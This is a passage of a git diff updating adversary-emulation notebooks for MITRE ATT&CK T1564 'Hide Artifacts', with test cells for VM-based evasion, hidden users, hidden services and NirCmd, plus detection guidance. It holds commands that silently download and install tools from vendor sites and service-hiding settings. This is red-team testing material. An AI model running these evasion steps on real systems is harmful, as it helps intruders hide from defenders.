1}\n\n```\n##### Get Prereq Commands:\n```cmd\n$wc = New-Object System.Net.WebClient\n$wc.DownloadFile(\"https://download.virtualbox.org/virtualbox/6.1.32/VirtualBox-6.1.32-149290-Win.exe\",\"$env:TEMP\\VirtualBox-6.1.32-149290-Win.exe\")\nstart-process -FilePath \"$env:TEMP\\VirtualBox-6.1.32-149290-Win.exe\" -ArgumentList \"--silent\" -Wait\n\n```\n##### Description: VBoxManage must exist on disk at specified locations (#{vboxmanage_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"C:\\Program Files\\Oracle\\VirtualBox\\VBoxManage.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n$wc = New-Object System.Net.WebClient\n$wc.DownloadFile(\"https://download.virtualbox.org/virtualbox/6.1.32/VirtualBox-6.1.32-149290-Win.exe\",\"$env:TEMP\\VirtualBox-6.1.32-149290-Win.exe\")\nstart-process -FilePath \"$env:TEMP\\VirtualBox-6.1.32-149290-Win.exe\" -ArgumentList \"--silent\" -Wait\n\n```" + "source": "### Atomic Test #2 - Create and start VirtualBox virtual machine\nCreate a simple VirtualBox VM and start up the machine\nCleanup command stops and deletes the newly created VM and associated files\nhttps://www.virtualbox.org/manual/ch08.html#vboxmanage-startvm\nhttps://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/\nhttps://attack.mitre.org/techniques/T1564/006/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: VirtualBox must exist on disk at specified locations (#{virtualbox_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"C:\\Program Files\\Oracle\\VirtualBox\\VirtualBox.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\n$wc = New-Object System.Net.WebClient\n$wc.DownloadFile(\"https://download.virtualbox.org/virtualbox/6.1.32/VirtualBox-6.1.32-149290-Win.exe\",\"PathToAtomicsFolder\\..\\ExternalPayloads\\VirtualBox-6.1.32-149290-Win.exe\")\nstart-process -FilePath \"PathToAtomicsFolder\\..\\ExternalPayloads\\VirtualBox-6.1.32-149290-Win.exe\" -ArgumentList \"--silent\" -Wait\n\n```\n##### Description: VBoxManage must exist on disk at specified locations (#{vboxmanage_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"C:\\Program Files\\Oracle\\VirtualBox\\VBoxManage.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n$wc = New-Object System.Net.WebClient\n$wc.DownloadFile(\"https://download.virtualbox.org/virtualbox/6.1.32/VirtualBox-6.1.32-149290-Win.exe\",\"PathToAtomicsFolder\\..\\ExternalPayloads\\VirtualBox-6.1.32-149290-Win.exe\")\nstart-process -FilePath \"PathToAtomicsFolder\\..\\ExternalPayloads\\VirtualBox-6.1.32-149290-Win.exe\" -ArgumentList \"--silent\" -Wait\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0c2bff38", + "id": "c3cd0569", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.006 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "db9aae55", + "id": "a6e00128", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -83,42 +83,42 @@ { "cell_type": "code", "execution_count": null, - "id": "79836e01", + "id": "4457a9c3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "fdf275e0", + "id": "9520ea15", "metadata": {}, "source": "#### Cleanup: \n```cmd\n\"C:\\Program Files\\Oracle\\VirtualBox\\VBoxManage.exe\" controlvm \"Atomic VM\" poweroff\n\"C:\\Program Files\\Oracle\\VirtualBox\\VBoxManage.exe\" unregistervm \"Atomic VM\" --delete```" }, { "cell_type": "code", "execution_count": null, - "id": "e2d505bd", + "id": "86f9cfa8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.006 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "e1bee3a3", + "id": "126a4d0f", "metadata": {}, "source": "### Atomic Test #3 - Create and start Hyper-V virtual machine\nCreate a simple Hyper-V VM (Windows native hypervisor) and start up the machine\nCleanup command stops and deletes the newly created VM\nhttps://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v\nhttps://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/\nhttps://attack.mitre.org/techniques/T1564/006/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Hyper-V must be enabled on the system\nChecks whether Hyper-V is enabled. If not, enables Hyper-V and forces a required restart\n\n##### Check Prereq Commands:\n```powershell\nif ((Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V).State = \"Enabled\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nEnable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c7a04ce6", + "id": "732494ba", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.006 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "c8540d62", + "id": "b8f71d37", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -128,28 +128,28 @@ { "cell_type": "code", "execution_count": null, - "id": "1570d9fa", + "id": "c26d143a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "12917fa3", + "id": "73923c78", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-VM $VM -Force\nRemove-VM $VM -Force```" }, { "cell_type": "code", "execution_count": null, - "id": "339a301a", + "id": "6e01b7e8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.006 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "5acd06a3", + "id": "673cd12a", "metadata": {}, "source": "## Detection\nConsider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances.\n\nConsider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages \"all\").\n\nMonitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. \n\nBenign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior." } @@ -157,13 +157,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1564.007.ipynb b/playbook/tactics/defense-evasion/T1564.007.ipynb index 7f8f4e8e..4eb3a6e4 100644 --- a/playbook/tactics/defense-evasion/T1564.007.ipynb +++ b/playbook/tactics/defense-evasion/T1564.007.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "609c0f51", + "id": "10652fd5", "metadata": {}, "source": "# T1564.007 - VBA Stomping\nAdversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)" }, { "cell_type": "markdown", - "id": "b37595e4", + "id": "766e88d3", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "dc364de8", + "id": "c3365acd", "metadata": {}, "source": "## Detection\nDetection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\n\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1564.008.ipynb b/playbook/tactics/defense-evasion/T1564.008.ipynb index a1459a03..9b1cbe46 100644 --- a/playbook/tactics/defense-evasion/T1564.008.ipynb +++ b/playbook/tactics/defense-evasion/T1564.008.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "3688588f", + "id": "2ad43af4", "metadata": {}, - "source": "# T1564.008 - Email Hiding Rules\nAdversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)" + "source": "# T1564.008 - Email Hiding Rules\nAdversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications)." }, { "cell_type": "markdown", - "id": "2cfd3b3f", + "id": "114ecb4f", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "4dfc7fcd", + "id": "40a89b11", "metadata": {}, "source": "## Detection\nMonitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\n\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1564.009.ipynb b/playbook/tactics/defense-evasion/T1564.009.ipynb index 03232290..132c065d 100644 --- a/playbook/tactics/defense-evasion/T1564.009.ipynb +++ b/playbook/tactics/defense-evasion/T1564.009.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "5717cf64", + "id": "1ba6223b", "metadata": {}, "source": "# T1564.009 - Resource Forking\nAdversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)" }, { "cell_type": "markdown", - "id": "fd871ff5", + "id": "8ea5ca34", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ecd74cdd", + "id": "0cab6a31", "metadata": {}, "source": "## Detection\nIdentify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \n\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1564.010.ipynb b/playbook/tactics/defense-evasion/T1564.010.ipynb index cb7f2dd6..0649a2da 100644 --- a/playbook/tactics/defense-evasion/T1564.010.ipynb +++ b/playbook/tactics/defense-evasion/T1564.010.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f94d16d1", + "id": "addef964", "metadata": {}, "source": "# T1564.010 - Process Argument Spoofing\nAdversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections." }, { "cell_type": "markdown", - "id": "7d65c3e6", + "id": "ce5a309a", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a555c5d1", + "id": "cfd3c3e9", "metadata": {}, "source": "## Detection\nDetection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1564.011.ipynb b/playbook/tactics/defense-evasion/T1564.011.ipynb new file mode 100644 index 00000000..b1a0640d --- /dev/null +++ b/playbook/tactics/defense-evasion/T1564.011.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "55a481cd", + "metadata": {}, + "source": "# T1564.011 - Ignore Process Interrupts\nAdversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man) These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes. \n\nAdversaries may invoke processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue) This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n\nHiding from process interrupt signals may allow malware to continue execution, but unlike [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will not be re-invoked once actually terminated." + }, + { + "cell_type": "markdown", + "id": "3aa3f9f3", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1564.ipynb b/playbook/tactics/defense-evasion/T1564.ipynb index b5f88617..a0cc1847 100644 --- a/playbook/tactics/defense-evasion/T1564.ipynb +++ b/playbook/tactics/defense-evasion/T1564.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "4219e070", + "id": "032fc340", "metadata": {}, "source": "# T1564 - Hide Artifacts\nAdversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)" }, { "cell_type": "markdown", - "id": "61833ff0", + "id": "1aee9448", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ae807967", + "id": "fd11e9cd", "metadata": {}, "source": "### Atomic Test #1 - Extract binary files via VBA\nThis module extracts a binary (calc.exe) from inside of another binary. \n\nIn the wild maldoc authors will use this technique to hide binaries inside of files stored \nwithin the office document itself. An example of this technique can be seen in sample\n\nf986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226\n\nThis sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2\nis the same document without all the malicious code. Document 1 will copy Document 2 to the file system\nand then \"peek\" inside of this document and pull out the oleObject.bin file. Contained inside of this\noleObject.bin file is a payload that is parsed out and executed on the file system.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Word must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n Stop-Process -Name \"winword\"\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1ad1be46", + "id": "1b6904c1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "71908009", + "id": "3ef26f4b", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "c257f9b0", + "id": "eb91d124", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f0cf2ee0", + "id": "a35f45a1", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:TEMP\\extracted.exe\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "84eeeae8", + "id": "872090a5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "611e3116", + "id": "c6747c62", "metadata": {}, "source": [ "### Atomic Test #2 - Create a Hidden User Called \"$\"", @@ -73,28 +73,28 @@ { "cell_type": "code", "execution_count": null, - "id": "c4c00c03", + "id": "97447198", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "818931ff", + "id": "f37002dc", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet user $ /DELETE 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "5525bb2c", + "id": "a8e21105", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "2ef91350", + "id": "2d96e005", "metadata": {}, "source": [ "### Atomic Test #3 - Create an \"Administrator \" user (with a space on the end)", @@ -108,28 +108,28 @@ { "cell_type": "code", "execution_count": null, - "id": "583f8606", + "id": "aa93f0f2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "764e2ada", + "id": "d20f49fa", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-LocalUser -Name \"Administrator \" 2>&1 | out-null```" }, { "cell_type": "code", "execution_count": null, - "id": "b76d1ee7", + "id": "d7df10ad", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "92c3f848", + "id": "8bcfe89d", "metadata": {}, "source": [ "### Atomic Test #4 - Create and Hide a Service with sc.exe", @@ -143,34 +143,79 @@ { "cell_type": "code", "execution_count": null, - "id": "07f6664b", + "id": "84091a33", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "26bccefa", + "id": "df800e37", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nsc.exe delete AtomicService\n```" + "source": "#### Cleanup: \n```cmd\nsc sdset AtomicService \"D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\"\nsc.exe delete AtomicService\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e1927e36", + "id": "68a47e5f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "e1ababaa", + "id": "28990d80", + "metadata": {}, + "source": "### Atomic Test #5 - Command Execution with NirCmd\nNirCmd is used by threat actors to execute commands, which can include recon and privilege escalation via running commands via the SYSTEM account\nSee https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: The Nircmd executable must exist at (#{nircmd_location})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\nircmd.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://www.nirsoft.net/utils/nircmd-x64.zip\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\nircmd.zip\" \nexpand-archive -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\nircmd.zip\" -destinationpath \"PathToAtomicsFolder\\..\\ExternalPayloads\\\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "10f672b9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1564 -TestNumbers 5 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "fad14b9a", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\ncmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\nircmd.exe\" win child class \"Shell_TrayWnd\" hide class \"TrayClockWClass\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0f8e433b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1564 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "d90de42f", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\ncmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\nircmd.exe\" win child class \"Shell_TrayWnd\" show class \"TrayClockWClass\" -erroraction silentlycontinue | out-null\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2eb85c23", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1564 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "4a2feaea", "metadata": {}, "source": "## Detection\nMonitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage." }, { "cell_type": "markdown", - "id": "306fb82e", + "id": "d8706c9a", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity to block an adversary's intended action and force them to reveal additional TTPs.\n#### Use Case\nA defender can manipulate commands on system so that an adversary is unable to hide artifacts in ways they normally would.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -178,13 +223,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git 